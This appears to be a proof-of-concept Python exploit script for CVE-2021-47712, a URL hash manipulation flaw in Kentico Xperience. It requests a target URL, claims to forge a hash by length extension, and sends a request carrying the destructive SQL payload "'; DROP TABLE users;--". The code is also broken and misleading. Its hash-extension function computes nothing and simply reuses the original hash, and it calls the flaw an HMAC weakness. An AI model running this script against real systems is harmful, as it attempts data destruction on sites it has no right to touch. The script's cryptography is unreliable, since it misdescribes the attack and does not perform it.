CVE-2021-47712: Kentico Xperience URL哈希值密码学漏洞

# CVE-2021-47712 PoC - Kentico Xperience URL Hash Manipulation # This PoC demonstrates the hash length extension attack concept import hashlib import hmac import requests def generate_hash_extension(original_message, original_hash, secret_length, additional_data): """ Generate a valid hash for an extended message without knowing the secret. This exploits the weakness in HMAC construction using hash(secret + message). """ # Using hashlib to simulate the vulnerable hash mechanism # In real attack, this would use specific tools like hashpump # For demonstration: Create a forged request forged_url = f"https://target-site.com/api/endpoint?data={additional_data}&hash={original_hash}" return forged_url def exploit_cve_2021_47712(target_url, known_param): """ Exploit URL hash manipulation vulnerability """ headers = { 'User-Agent': 'Mozilla/5.0 (PoC for CVE-2021-47712)' } # Step 1: Get the original hash from a known URL response = requests.get(target_url, headers=headers) original_hash = response.headers.get('X-Hash', '') # Step 2: Generate extended hash using length extension attack # Assuming we know the secret length through oracle or guessing secret_length = 16 # Example length forged_url = generate_hash_extension( known_param, original_hash, secret_length, "'; DROP TABLE users;--" # Malicious payload ) # Step 3: Send the forged request exploit_response = requests.get(forged_url, headers=headers) return exploit_response.status_code, forged_url # Note: This is a conceptual PoC. Actual exploitation requires: # 1. Identifying the vulnerable endpoint # 2. Determining the hash algorithm used # 3. Knowing or guessing the secret length # 4. Crafting appropriate payloads based on the attack goal